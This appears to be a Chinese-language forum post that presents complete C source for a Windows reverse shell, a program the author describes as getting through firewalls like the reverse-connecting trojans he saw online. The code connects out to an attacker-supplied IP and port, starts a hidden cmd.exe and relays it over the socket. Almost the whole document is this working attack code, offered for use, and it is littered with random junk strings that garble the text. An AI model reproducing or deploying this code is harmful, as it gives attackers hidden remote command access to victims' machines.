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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M5WB.L[@ q  
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/* ============================== Nksm&{=6S  
Rebound port in Windows NT P  y v>  
By wind,2006/7 ;VKWY  
===============================*/ &233QRYM  
#include y5eEEG6  
#include l3Zi]`@r  
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#pragma comment(lib,"wsock32.lib") pSlc (M>  
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void OutputShell(); r gIWM"  
SOCKET sClient; v1{j1~ZR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4x)vy -y  
5{b;wLi$X2  
void main(int argc,char **argv) gPCf+>X{  
{ -/?)0E  
WSADATA stWsaData; rNV3-#kU  
int nRet; kfnh1|D=aY  
SOCKADDR_IN stSaiClient,stSaiServer; ra'/~^9  
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if(argc != 3) m:)&:Y0 (a  
{ :^kAFLU  
printf("Useage:\n\rRebound DestIP DestPort\n"); %}TJr]'F  
return; t)W=0iEd9  
} v Z]j%c@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~!Sd|e:4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |c0^7vrC  
-& (iU#W  
stSaiClient.sin_family = AF_INET; 8/>.g.]  
stSaiClient.sin_port = htons(0); 3H!]X M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ct-eD-X{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8zHx$g  
{ j.]]VA  
printf("Bind Socket Failed!\n"); K*5gb^Ul  
return; -crMO57/  
} L~PiDQr?r  
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stSaiServer.sin_family = AF_INET; /(8"]f/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X(/fE?%;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2+y wy^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2 %fcDEG/  
{ J#C4A]A  
printf("Connect Error!"); .iR<5.  
return; 3\RD %[}  
} ykbfK$j z  
OutputShell(); R5e[cC8o.  
} y2+f)Xp_.C  
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void OutputShell() hkl0N%[  
{ &v0]{)PO  
char szBuff[1024]; Fq~Zr;A  
SECURITY_ATTRIBUTES stSecurityAttributes; fLs>|Rh  
OSVERSIONINFO stOsversionInfo; `scW.Vem  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1/mBp+D  
STARTUPINFO stStartupInfo; HYO/]\al  
char *szShell; 3M?O(oO  
PROCESS_INFORMATION stProcessInformation; >dK0&+A  
unsigned long lBytesRead; Z{vc6oj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ">=Ep+ix  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #tg\ bb  
stSecurityAttributes.lpSecurityDescriptor = 0; (7<G1$:z=  
stSecurityAttributes.bInheritHandle = TRUE; 4r_*: $g  
!D1#3?L  
qQ]fM$!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Qa/1*Mb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &V 7J5~_  
|in>`:qk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *\#<2 QAe  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u= dj3q  
stStartupInfo.wShowWindow = SW_HIDE; +pSo(e(  
stStartupInfo.hStdInput = hReadPipe; bn|HvLQ"1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q'jGNWep  
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GetVersionEx(&stOsversionInfo); H ABUf^~-  
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switch(stOsversionInfo.dwPlatformId) 0x5\{f  
{ aC' 6  
case 1: ?IQDk|<%  
szShell = "command.com"; tc.|mIvw  
break; -wH0g^Ed  
default: z2Wblh"_  
szShell = "cmd.exe"; o1\N)%  
break; U.Vn|s(`z  
} ^& *;]S`  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,Gbc4x  
kLF3s#k  
send(sClient,szMsg,77,0); xc-[gt6  
while(1) V%;dTCq  
{ ^GYVRD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #F3'<(j  
if(lBytesRead) IDpLf*vSG  
{ 6yUThv.G#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cGo_qR/B(>  
send(sClient,szBuff,lBytesRead,0); _d7;Z%  
} (gE<`b  
else 1NZpd'$c  
{ =d@)*W 6  
lBytesRead=recv(sClient,szBuff,1024,0); " +{2!  
if(lBytesRead<=0) break; bUy!hS;s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); im+g |9@%  
} %*<Wf4P"  
} K&{ _s  
\Js*>xA  
return; je#LD  
}
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